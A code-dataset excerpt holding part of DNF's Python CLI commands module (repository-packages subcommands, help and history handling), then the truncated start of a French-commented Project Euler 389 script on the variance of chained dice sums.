doCheck(self, basecmd, extcmds):\n \"\"\"Verify that conditions are met so that this command can\n run; namely that there is at least one enabled repository.\n\n :param basecmd: the name of the command\n :param extcmds: the command line arguments passed to *basecmd*\n \"\"\"\n checkEnabledRepo(self.base)\n\n @staticmethod\n def parse_extcmds(extcmds):\n \"\"\"Parse command arguments.\"\"\"\n return extcmds\n\n def run(self, extcmds):\n patterns = self.parse_extcmds(extcmds)\n found = self.base.check_updates(patterns, print_=True)\n if found:\n self.cli.demands.success_exit_status = 100\n\n\nclass RepoPkgsCommand(Command):\n \"\"\"Implementation of the repository-packages command.\"\"\"\n\n class SubCommand(Command):\n \"\"\"Base class for repository-packages sub-commands.\n\n The main purpose of the inheritance is to get the same default values\n of unset attributes.\n\n \"\"\"\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n\n def doCheck(self, alias, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.SubCommand, self).doCheck(alias, cli_args)\n if alias not in self.aliases:\n raise ValueError(\"alias must be one of command's aliases\")\n self.check(cli_args)\n\n class CheckUpdateSubCommand(SubCommand):\n \"\"\"Implementation of the info sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('check-update',)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n patterns = self.parse_arguments(cli_args)\n found = self.base.check_updates(patterns, reponame, print_=True)\n if found:\n self.cli.demands.success_exit_status = 100\n\n class InfoSubCommand(SubCommand):\n \"\"\"Implementation of the info sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('info',)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n DEFAULT_PKGNARROW = 'all'\n pkgnarrows = {DEFAULT_PKGNARROW, 'installed', 'available', 'autoremove',\n 'extras', 'obsoletes', 'recent', 'upgrades'}\n if not cli_args or cli_args[0] not in pkgnarrows:\n return DEFAULT_PKGNARROW, cli_args\n else:\n return cli_args[0], cli_args[1:]\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkgnarrow, patterns = self.parse_arguments(cli_args)\n self.base.output_packages('info', pkgnarrow, patterns, reponame)\n\n class InstallSubCommand(SubCommand):\n \"\"\"Implementation of the install sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('install',)\n\n resolve = True\n\n writes_rpmdb = True\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.InstallSubCommand, self).check(cli_args)\n checkGPGKey(self.base, self.cli)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n\n done = False\n\n if not pkg_specs:\n # Install all packages.\n try:\n self.base.install('*', reponame)\n except dnf.exceptions.MarkingError:\n logger.info(_('No package available.'))\n else:\n done = True\n else:\n # Install packages.\n for pkg_spec in pkg_specs:\n try:\n self.base.install(pkg_spec, reponame)\n except dnf.exceptions.MarkingError:\n msg = _('No package %s%s%s available.')\n logger.info(\n msg, self.output.term.MODE['bold'],\n pkg_spec, self.output.term.MODE['normal'])\n else:\n done = True\n\n if not done:\n raise dnf.exceptions.Error(_('Nothing to do.'))\n\n class ListSubCommand(SubCommand):\n \"\"\"Implementation of the list sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('list',)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n DEFAULT_PKGNARROW = 'all'\n pkgnarrows = {DEFAULT_PKGNARROW, 'installed', 'available', 'autoremove',\n 'extras', 'obsoletes', 'recent', 'upgrades'}\n if not cli_args or cli_args[0] not in pkgnarrows:\n return DEFAULT_PKGNARROW, cli_args\n else:\n return cli_args[0], cli_args[1:]\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkgnarrow, patterns = self.parse_arguments(cli_args)\n self.base.output_packages('list', pkgnarrow, patterns, reponame)\n\n class MoveToSubCommand(SubCommand):\n \"\"\"Implementation of the move-to sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('move-to',)\n\n resolve = True\n\n writes_rpmdb = True\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.MoveToSubCommand, self).check(cli_args)\n checkGPGKey(self.base, self.cli)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n\n done = False\n\n if not pkg_specs:\n # Reinstall all packages.\n try:\n self.base.reinstall('*', new_reponame=reponame)\n except dnf.exceptions.PackagesNotInstalledError:\n logger.info(_('No package installed.'))\n except dnf.exceptions.PackagesNotAvailableError:\n logger.info(_('No package available.'))\n except dnf.exceptions.MarkingError:\n assert False, 'Only the above marking errors are expected.'\n else:\n done = True\n else:\n # Reinstall packages.\n for pkg_spec in pkg_specs:\n try:\n self.base.reinstall(pkg_spec, new_reponame=reponame)\n except dnf.exceptions.PackagesNotInstalledError:\n msg = _('No match for argument: %s')\n logger.info(msg, pkg_spec)\n except dnf.exceptions.PackagesNotAvailableError as err:\n for pkg in err.packages:\n xmsg = ''\n yumdb_info = self.base.yumdb.get_package(pkg)\n if 'from_repo' in yumdb_info:\n xmsg = _(' (from %s)') % yumdb_info.from_repo\n msg = _('Installed package %s%s%s%s not available.')\n logger.info(\n msg, self.output.term.MODE['bold'], pkg,\n self.output.term.MODE['normal'], xmsg)\n except dnf.exceptions.MarkingError:\n assert False, 'Only the above marking errors are expected.'\n else:\n done = True\n\n if not done:\n raise dnf.exceptions.Error(_('Nothing to do.'))\n\n class ReinstallOldSubCommand(SubCommand):\n \"\"\"Implementation of the reinstall-old sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('reinstall-old',)\n\n resolve = True\n\n writes_rpmdb = True\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.ReinstallOldSubCommand, self).check(cli_args)\n checkGPGKey(self.base, self.cli)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n\n done = False\n\n if not pkg_specs:\n # Reinstall all packages.\n try:\n self.base.reinstall('*', reponame, reponame)\n except dnf.exceptions.PackagesNotInstalledError:\n msg = _('No package installed from the repository.')\n logger.info(msg)\n except dnf.exceptions.PackagesNotAvailableError:\n logger.info(_('No package available.'))\n except dnf.exceptions.MarkingError:\n assert False, 'Only the above marking errors are expected.'\n else:\n done = True\n else:\n # Reinstall packages.\n for pkg_spec in pkg_specs:\n try:\n self.base.reinstall(pkg_spec, reponame, reponame)\n except dnf.exceptions.PackagesNotInstalledError:\n msg = _('No match for argument: %s')\n logger.info(msg, pkg_spec)\n except dnf.exceptions.PackagesNotAvailableError as err:\n for pkg in err.packages:\n xmsg = ''\n yumdb_info = self.base.yumdb.get_package(pkg)\n if 'from_repo' in yumdb_info:\n xmsg = _(' (from %s)') % yumdb_info.from_repo\n msg = _('Installed package %s%s%s%s not available.')\n logger.info(\n msg, self.output.term.MODE['bold'], pkg,\n self.output.term.MODE['normal'], xmsg)\n except dnf.exceptions.MarkingError:\n assert False, 'Only the above marking errors are expected.'\n else:\n done = True\n\n if not done:\n raise dnf.exceptions.Error(_('Nothing to do.'))\n\n class ReinstallSubCommand(SubCommand):\n \"\"\"Implementation of the reinstall sub-command.\"\"\"\n\n aliases = ('reinstall',)\n\n def __init__(self, cli):\n \"\"\"Initialize the command.\"\"\"\n super(RepoPkgsCommand.ReinstallSubCommand, self).__init__(cli)\n self.wrapped_commands = (RepoPkgsCommand.ReinstallOldSubCommand(cli),\n RepoPkgsCommand.MoveToSubCommand(cli))\n\n cmds_vals = (cmd.activate_sack for cmd in self.wrapped_commands)\n self.activate_sack = functools.reduce(\n operator.or_, cmds_vals, Command.activate_sack)\n\n cmds_vals = (cmd.load_available_repos for cmd in self.wrapped_commands)\n self.load_available_repos = functools.reduce(\n operator.or_, cmds_vals, Command.load_available_repos)\n\n cmds_vals = (cmd.writes_rpmdb for cmd in self.wrapped_commands)\n self.writes_rpmdb = functools.reduce(\n operator.or_, cmds_vals, Command.writes_rpmdb)\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.ReinstallSubCommand, self).check(cli_args)\n for command in self.wrapped_commands:\n command.check(cli_args)\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n for command in self.wrapped_commands:\n try:\n command.run_on_repo(reponame, cli_args)\n except dnf.exceptions.Error:\n continue\n else:\n break\n finally:\n if command.resolve:\n self.cli.demands.resolving = True\n else:\n raise dnf.exceptions.Error(_('Nothing to do.'))\n\n class RemoveOrDistroSyncSubCommand(SubCommand):\n \"\"\"Implementation of the remove-or-distro-sync sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('remove-or-distro-sync',)\n\n resolve = True\n\n writes_rpmdb = True\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.RemoveOrDistroSyncSubCommand, self).check(\n cli_args)\n checkGPGKey(self.base, self.cli)\n\n @staticmethod\n def parse_arguments(cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def _replace(self, pkg_spec, reponame):\n \"\"\"Synchronize a package with another repository or remove it.\"\"\"\n self.cli.base.sack.disable_repo(reponame)\n\n subject = dnf.subject.Subject(pkg_spec)\n matches = subject.get_best_query(self.cli.base.sack)\n yumdb = self.cli.base.yumdb\n installed = [\n pkg for pkg in matches.installed()\n if yumdb.get_package(pkg).get('from_repo') == reponame]\n if not installed:\n raise dnf.exceptions.PackagesNotInstalledError(\n 'no package matched', pkg_spec)\n available = matches.available()\n clean_deps = self.cli.base.conf.clean_requirements_on_remove\n for package in installed:\n if available.filter(name=package.name, arch=package.arch):\n self.cli.base.goal.distupgrade(package)\n else:\n self.cli.base.goal.erase(package, clean_deps=clean_deps)\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n\n done = False\n\n if not pkg_specs:\n # Sync all packages.\n try:\n self._replace('*', reponame)\n except dnf.exceptions.PackagesNotInstalledError:\n msg = _('No package installed from the repository.')\n logger.info(msg)\n else:\n done = True\n else:\n # Reinstall packages.\n for pkg_spec in pkg_specs:\n try:\n self._replace(pkg_spec, reponame)\n except dnf.exceptions.PackagesNotInstalledError:\n msg = _('No match for argument: %s')\n logger.info(msg, pkg_spec)\n else:\n done = True\n\n if not done:\n raise dnf.exceptions.Error(_('Nothing to do.'))\n\n class RemoveOrReinstallSubCommand(SubCommand):\n \"\"\"Implementation of the remove-or-reinstall sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('remove-or-reinstall',)\n\n resolve = True\n\n writes_rpmdb = True\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.RemoveOrReinstallSubCommand, self).check(cli_args)\n checkGPGKey(self.base, self.cli)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n\n done = False\n\n if not pkg_specs:\n # Reinstall all packages.\n try:\n self.base.reinstall(\n '*', old_reponame=reponame, new_reponame_neq=reponame,\n remove_na=True)\n except dnf.exceptions.PackagesNotInstalledError:\n msg = _('No package installed from the repository.')\n logger.info(msg)\n except dnf.exceptions.MarkingError:\n assert False, 'Only the above marking error is expected.'\n else:\n done = True\n else:\n # Reinstall packages.\n for pkg_spec in pkg_specs:\n try:\n self.base.reinstall(\n pkg_spec, old_reponame=reponame,\n new_reponame_neq=reponame, remove_na=True)\n except dnf.exceptions.PackagesNotInstalledError:\n msg = _('No match for argument: %s')\n logger.info(msg, pkg_spec)\n except dnf.exceptions.MarkingError:\n assert False, 'Only the above marking error is expected.'\n else:\n done = True\n\n if not done:\n raise dnf.exceptions.Error(_('Nothing to do.'))\n\n class RemoveSubCommand(SubCommand):\n \"\"\"Implementation of the remove sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('remove',)\n\n load_available_repos = False\n\n resolve = True\n\n allow_erasing = True\n\n writes_rpmdb = True\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n\n done = False\n\n if not pkg_specs:\n # Remove all packages.\n try:\n self.base.remove('*', reponame)\n except dnf.exceptions.MarkingError:\n msg = _('No package installed from the repository.')\n logger.info(msg)\n else:\n done = True\n else:\n # Remove packages.\n for pkg_spec in pkg_specs:\n try:\n self.base.remove(pkg_spec, reponame)\n except dnf.exceptions.MarkingError:\n logger.info(_('No match for argument: %s'),\n pkg_spec)\n else:\n done = True\n\n if not done:\n raise dnf.exceptions.Error(_('No packages marked for removal.'))\n\n class UpgradeSubCommand(SubCommand):\n \"\"\"Implementation of the upgrade sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('upgrade',)\n\n resolve = True\n\n writes_rpmdb = True\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.UpgradeSubCommand, self).check(cli_args)\n checkGPGKey(self.base, self.cli)\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n\n done = False\n\n if not pkg_specs:\n # Update all packages.\n self.base.upgrade_all(reponame)\n done = True\n else:\n # Update packages.\n for pkg_spec in pkg_specs:\n try:\n self.base.upgrade(pkg_spec, reponame)\n except dnf.exceptions.MarkingError:\n logger.info(_('No match for argument: %s'),\n pkg_spec)\n else:\n done = True\n\n if not done:\n raise dnf.exceptions.Error(_('No packages marked for upgrade.'))\n\n class UpgradeToSubCommand(SubCommand):\n \"\"\"Implementation of the upgrade-to sub-command.\"\"\"\n\n activate_sack = True\n\n aliases = ('upgrade-to',)\n\n resolve = True\n\n writes_rpmdb = True\n\n def check(self, cli_args):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n super(RepoPkgsCommand.UpgradeToSubCommand, self).check(cli_args)\n checkGPGKey(self.base, self.cli)\n try:\n self.parse_arguments(cli_args)\n except ValueError:\n logger.critical(\n _('Error: Requires at least one package specification'))\n raise dnf.cli.CliError('a package specification required')\n\n def parse_arguments(self, cli_args):\n \"\"\"Parse command arguments.\"\"\"\n if not cli_args:\n raise ValueError('at least one argument must be given')\n return cli_args\n\n def run_on_repo(self, reponame, cli_args):\n \"\"\"Execute the command with respect to given arguments *cli_args*.\"\"\"\n self.check(cli_args)\n pkg_specs = self.parse_arguments(cli_args)\n self.base.upgrade_userlist_to(pkg_specs, reponame)\n\n SUBCMDS = {CheckUpdateSubCommand, InfoSubCommand, InstallSubCommand,\n ListSubCommand, MoveToSubCommand, ReinstallOldSubCommand,\n ReinstallSubCommand, RemoveOrDistroSyncSubCommand,\n RemoveOrReinstallSubCommand, RemoveSubCommand,\n UpgradeSubCommand, UpgradeToSubCommand}\n\n aliases = ('repository-packages',\n 'repo-pkgs', 'repo-packages', 'repository-pkgs')\n summary = _('Run commands on top of all packages in given repository')\n usage = '%s check-update|info|install|list|move-to|reinstall|' \\\n 'reinstall-old|remove|remove-or-distro-sync|remove-or-reinstall|' \\\n 'upgrade|upgrade-to [%s...]' % (_('REPO'), _('ARG'))\n\n def __init__(self, cli):\n \"\"\"Initialize the command.\"\"\"\n super(RepoPkgsCommand, self).__init__(cli)\n subcmd_objs = (subcmd(cli) for subcmd in self.SUBCMDS)\n self._subcmd_name2obj = {\n alias: subcmd for subcmd in subcmd_objs for alias in subcmd.aliases}\n\n sub_vals = (cmd.activate_sack for cmd in self._subcmd_name2obj.values())\n self.activate_sack = functools.reduce(\n operator.or_, sub_vals, super(RepoPkgsCommand, self).activate_sack)\n\n sub_vals = (cmd.load_available_repos for cmd in self._subcmd_name2obj.values())\n self.load_available_repos = functools.reduce(\n operator.or_, sub_vals, super(RepoPkgsCommand, self).load_available_repos)\n\n sub_vals = (cmd.writes_rpmdb for cmd in self._subcmd_name2obj.values())\n self.writes_rpmdb = functools.reduce(\n operator.or_, sub_vals, super(RepoPkgsCommand, self).writes_rpmdb)\n\n def parse_extcmds(self, extcmds):\n \"\"\"Parse command arguments *extcmds*.\"\"\"\n # TODO: replace with ``repo, subcmd_name, *subargs = extcmds`` after\n # switching to Python 3.\n (repo, subcmd_name), subargs = extcmds[:2], extcmds[2:]\n\n try:\n subcmd_obj = self._subcmd_name2obj[subcmd_name]\n except KeyError:\n raise ValueError('invalid sub-command')\n\n return repo, subcmd_obj, subargs\n\n def doCheck(self, basecmd, extcmds):\n \"\"\"Verify whether the command can run with given arguments.\"\"\"\n # Check basecmd.\n if basecmd not in self.aliases:\n raise ValueError('basecmd should be one of the command aliases')\n\n # Check command arguments.\n try:\n _repo, subcmd, subargs = self.parse_extcmds(extcmds)\n except ValueError:\n logger.critical(\n _('Error: Requires a repo ID and a valid sub-command'))\n dnf.cli.commands.err_mini_usage(self.cli, basecmd)\n raise dnf.cli.CliError('a repo ID and a valid sub-command required')\n\n # Check sub-command.\n try:\n subcmd.check(subargs)\n except dnf.cli.CliError:\n dnf.cli.commands.err_mini_usage(self.cli, basecmd)\n raise\n\n def run(self, extcmds):\n \"\"\"Execute the command with respect to given arguments *extcmds*.\"\"\"\n self.doCheck(self.base.basecmd, extcmds)\n\n repo, subcmd, subargs = self.parse_extcmds(extcmds)\n\n subcmd.run_on_repo(repo, subargs)\n\n self.cli.demands.resolving = subcmd.resolve\n\nclass HelpCommand(Command):\n \"\"\"A class containing methods needed by the cli to execute the\n help command.\n \"\"\"\n\n aliases = ('help',)\n summary = _(\"Display a helpful usage message\")\n usage = _(\"COMMAND\")\n\n def doCheck(self, basecmd, extcmds):\n \"\"\"Verify that conditions are met so that this command can\n run; namely that this command is called with appropriate\n arguments.\n\n :param basecmd: the name of the command\n :param extcmds: the command line arguments passed to *basecmd*\n \"\"\"\n if len(extcmds) == 0:\n self.cli.print_usage()\n raise dnf.cli.CliError\n elif len(extcmds) > 1 or extcmds[0] not in self.cli.cli_commands:\n self.cli.print_usage()\n raise dnf.cli.CliError\n\n @staticmethod\n def _makeOutput(command):\n canonical_name = command.aliases[0]\n\n usage = command.usage\n summary = command.summary\n\n # XXX need detailed help here, too\n help_output = \"\"\n if usage is not None:\n help_output += \"%s %s\" % (canonical_name, usage)\n if summary is not None:\n help_output += \"\\n\\n%s\" % summary\n\n if usage is None and summary is None:\n help_output = _(\"No help available for %s\") % canonical_name\n\n command_names = command.aliases\n if len(command_names) > 1:\n if len(command_names) > 2:\n help_output += _(\"aliases: \")\n else:\n help_output += _(\"alias: \")\n help_output = '\\n\\n' + help_output + ', '.join(command.aliases[1:])\n\n return help_output\n\n def run(self, extcmds):\n if extcmds[0] in self.cli.cli_commands:\n command = self.cli.cli_commands[extcmds[0]]\n logger.info(self._makeOutput(command))\n\nclass HistoryCommand(Command):\n \"\"\"A class containing methods needed by the cli to execute the\n history command.\n \"\"\"\n\n aliases = ('history',)\n summary = _(\"Display, or use, the transaction history\")\n usage = \"[info|list|redo|undo|rollback|userinstalled]\"\n\n def configure(self, _):\n demands = self.cli.demands\n demands.available_repos = True\n demands.fresh_metadata = False\n demands.sack_activation = True\n\n def get_error_output(self, error):\n \"\"\"Get suggestions for resolving the given error.\"\"\"\n basecmd, extcmds = self.base.basecmd, self.base.extcmds\n if isinstance(error, dnf.exceptions.TransactionCheckError):\n assert basecmd == 'history'\n if extcmds[0] == 'undo':\n id_, = extcmds[1:]\n return (_('Cannot undo transaction %s, doing so would result '\n 'in an inconsistent package database.') % id_,)\n elif extcmds[0] == 'rollback':\n id_, = extcmds[1:] if extcmds[1] != 'force' else extcmds[2:]\n return (_('Cannot rollback transaction %s, doing so would '\n 'result in an inconsistent package database.') % id_,)\n\n return Command.get_error_output(self, error)\n\n def __init__(self, cli):\n super(HistoryCommand, self).__init__(cli)\n\n def _hcmd_redo(self, extcmds):\n try:\n extcmd, = extcmds\n except ValueError:\n if not extcmds:\n logger.critical(_('No transaction ID given'))\n elif len(extcmds) > 1:\n logger.critical(_('Found more than one transaction ID!'))\n return 1, ['Failed history redo']\n\n old = self.base.history_get_transaction((extcmd,))\n if old is None:\n return 1, ['Failed history redo']\n tm = time.ctime(old.beg_timestamp)\n print('Repeating transaction %u, from %s' % (old.tid, tm))\n self.output.historyInfoCmdPkgsAltered(old)\n\n converter = dnf.history.TransactionConverter(self.base.sack)\n history = dnf.history.open_history(self.base.history)\n operations = history.transaction_nevra_ops(old.tid)\n\n hibeg = self.output.term.MODE['bold']\n hiend = self.output.term.MODE['normal']\n try:\n self.base.transaction = converter.convert(operations, 'history')\n except dnf.exceptions.PackagesNotInstalledError as err:\n logger.info(_('No package %s%s%s installed.'),\n hibeg, ucd(err.pkg_spec), hiend)\n return 1, ['An operation cannot be redone']\n except dnf.exceptions.PackagesNotAvailableError as err:\n logger.info(_('No package %s%s%s available.'),\n hibeg, ucd(err.pkg_spec), hiend)\n return 1, ['An operation cannot be redone']\n else:\n return 2, ['Repeating transaction %u' % (old.tid,)]\n\n def _hcmd_undo(self, extcmds):\n # Parse the transaction specification.\n try:\n extcmd, = extcmds\n except ValueError:\n if not extcmds:\n logger.critical(_('No transaction ID given'))\n elif len(extcmds) > 1:\n logger.critical(_('Found more than one transaction ID!'))\n return 1, ['Failed history undo']\n\n try:\n return self.base.history_undo_transaction(extcmd)\n except dnf.exceptions.Error as err:\n return 1, [str(err)]\n\n def _hcmd_rollback(self, extcmds):\n # Parse the transaction specification.\n try:\n extcmd, = extcmds\n except ValueError:\n if not extcmds:\n logger.critical(_('No transaction ID given'))\n elif len(extcmds) > 1:\n logger.critical(_('Found more than one transaction ID!'))\n return 1, ['Failed history rollback']\n\n try:\n return self.base.history_rollback_transaction(extcmd)\n except dnf.exceptions.Error as err:\n return 1, [str(err)]\n\n def _hcmd_new(self, extcmds):\n self.base.history._create_db_file()\n\n def _hcmd_stats(self, extcmds):\n def six_digits(num):\n return ucd(dnf.pycomp.format(\"%6d\", num, True))\n print(\"File :\", self.base.history._db_file)\n num = os.stat(self.base.history._db_file).st_size\n print(\"Size :\", ucd(dnf.pycomp.format(\"%d\", num, True)))\n counts = self.base.history._pkg_stats()\n trans_1 = self.base.history.old(\"1\")[0]\n trans_N = self.base.history.last()\n print(_(\"Transactions:\"), trans_N.tid)\n print(_(\"Begin time :\"), time.ctime(trans_1.beg_timestamp))\n print(_(\"End time :\"), time.ctime(trans_N.end_timestamp))\n print(_(\"Counts :\"))\n print(_(\" NEVRAC :\"), six_digits(counts['nevrac']))\n print(_(\" NEVRA :\"), six_digits(counts['nevra']))\n print(_(\" NA :\"), six_digits(counts['na']))\n print(_(\" NEVR :\"), six_digits(counts['nevr']))\n print(_(\" rpm DB :\"), six_digits(counts['rpmdb']))\n print(_(\" DNF DB :\"), six_digits(counts['yumdb']))\n\n def _hcmd_sync(self, extcmds):\n extcmds = extcmds[1:]\n if not extcmds:\n extcmds = None\n for ipkg in sorted(self.base.rpmdb.returnPackages(patterns=extcmds)):\n if self.base.history.pkg2pid(ipkg, create=False) is None:\n continue\n\n print(\"Syncing rpm/yum DB data for:\", ipkg, \"...\", end='')\n if self.base.history.sync_alldb(ipkg):\n print(\"Done.\")\n else:\n print(\"FAILED.\")\n\n def _hcmd_userinstalled(self, extcmds):\n \"\"\"Execute history userinstalled command.\"\"\"\n if extcmds:\n logger.critical(_('Unrecognized options \"%s\"!'),\n ' '.join(extcmds))\n return 1, ['Failed history userinstalled']\n\n pkgs = tuple(self.base.iter_userinstalled())\n return self.output.listPkgs(pkgs, 'Packages installed by user', 'name')\n\n def doCheck(self, basecmd, extcmds):\n \"\"\"Verify that conditions are met so that this command can\n run. The exact conditions checked will vary depending on the\n subcommand that is being called.\n\n :param basecmd: the name of the command\n :param extcmds: the command line arguments passed to *basecmd*\n \"\"\"\n cmds = ('list', 'info', 'redo', 'undo', 'rollback', 'userinstalled')\n if extcmds and extcmds[0] not in cmds:\n logger.critical(_('Invalid history sub-command, use: %s.'),\n \", \".join(cmds))\n raise dnf.cli.CliError\n if extcmds and extcmds[0] in ('repeat', 'redo', 'undo', 'rollback'):\n checkGPGKey(self.base, self.cli)\n elif not os.access(self.base.history._db_file, os.R_OK):\n logger.critical(_(\"You don't have access to the history DB.\"))\n raise dnf.cli.CliError\n\n def run(self, extcmds):\n vcmd = 'list'\n if extcmds:\n vcmd = extcmds[0]\n\n if False: pass\n elif vcmd == 'list':\n ret = self.output.historyListCmd(extcmds)\n elif vcmd == 'info':\n ret = self.output.historyInfoCmd(extcmds)\n elif vcmd == 'summary':\n ret = self.output.historySummaryCmd(extcmds)\n elif vcmd in ('addon', 'addon-info'):\n ret = self.output.historyAddonInfoCmd(extcmds)\n elif vcmd in ('pkg', 'pkgs', 'pkg-list', 'pkgs-list',\n 'package', 'package-list', 'packages', 'packages-list'):\n ret = self.output.historyPackageListCmd(extcmds)\n elif vcmd == 'undo':\n ret = self._hcmd_undo(extcmds[1:])\n elif vcmd in ('redo', 'repeat'):\n ret = self._hcmd_redo(extcmds[1:])\n elif vcmd == 'rollback':\n ret = self._hcmd_rollback(extcmds[1:])\n elif vcmd == 'new':\n ret = self._hcmd_new(extcmds)\n elif vcmd in ('stats', 'statistics'):\n ret = self._hcmd_stats(extcmds)\n elif vcmd in ('sync', 'synchronize'):\n ret = self._hcmd_sync(extcmds)\n elif vcmd in ('pkg-info', 'pkgs-info', 'package-info', 'packages-info'):\n ret = self.output.historyPackageInfoCmd(extcmds)\n elif vcmd == 'userinstalled':\n ret = self._hcmd_userinstalled(extcmds[1:])\n\n if ret is None:\n return\n (code, strs) = ret\n if code == 2:\n self.cli.demands.resolving = True\n elif code != 0:\n raise dnf.exceptions.Error(strs[0])\n","repo_name":"rmatharu-zz/yarn-lxc-samza","sub_path":"lxc-yarn-img-samza/rootfs/usr/lib/python2.7/site-packages/dnf/cli/commands/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":45292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37498263176","text":"##Problem 389\n##\n##An unbiased single 4-sided die is thrown and its value, T, is noted.\n##T unbiased 6-sided dice are thrown and their scores are added together. The sum, C, is noted.\n##C unbiased 8-sided dice are thrown and their scores are added together. The sum, O, is noted.\n##O unbiased 12-sided dice are thrown and their scores are added together. The sum, D, is noted.\n##D unbiased 20-sided dice are thrown and their scores are added together. The sum, I, is noted.\n##Find the variance of I, and give your answer rounded to 4 decimal places.\n\"\"\"\n4*6 > 24\n24*8 > 192\n192*12 >\n\n.. > 4*6*8*12*20 = 46080\n\n\"\"\"\n\nfrom random import randrange\n\ndef tour(lN):\n \"\"\" effectue un tour avec la liste de dés \"\"\"\n a = 1\n for n in lN:\n b = 0\n for _ in range(a):\n b += randrange(n)+1\n a = b\n return b\n \n\nt = []\nsomme = 0\nsommeC = 0\nnb = 0\nVold = 0\nV = 100\nlisteDes = [2,2] #[4, 6, 8, 12, 20]\nwhile abs(V-Vold)>10**(-4):\n\n for j in range(10000):\n i = tour(listeDes)\n nb += 1\n somme += i\n sommeC += i**2\n \n Vold, V = V, sommeC/nb - (somme/nb)**2\n print(V)\n\nprint(nb, V)\n\n\ndef V_nFaces(n):\n \"\"\" Retourne la variance d'un dé à n faces\"\"\"\n return (n+1)*(2*n+1)/6 - E_nFaces(n)**2\n \n\ndef E_nFaces(n):\n \"\"\" Retourne l'esperance d'un dé à n faces\"\"\"\n return (n+1)/2\n\n\ndef E_prod(listeE):\n \"\"\" retourne la variance d'un produit de variables aléatoires indépendantes\"\"\"\n if len(listeE)==1:\n return listeE[0]\n else:\n return E_prod(listeE[:-1])*listeE[-1]\n\n\ndef V_prod(listeV, listeE):\n \"\"\" Retourne la variance d'un produit de variables aléatoires:\n mode recursif : dernier element de la liste fois la variance du reste de la liste\"\"\"\n if len(listeV)==len(listeE)==1:\n return listeV[0]\n else:\n resteV = listeV[:-1]\n resteE = listeE[:-1]\n t1 = listeV[-1]*V_prod(resteV, resteE)\n t2 = listeV[-1]*(E_prod(resteE))**2\n t3 = V_prod(resteV, resteE)*(listeE[-1])**2\n return t1 + t2 + t3\n\nlN = [2, 2] #, 8, 10, 12, 20]\nlV = [V_nFaces(n) for n in lN]\nlE = [E_nFaces(n) for n in 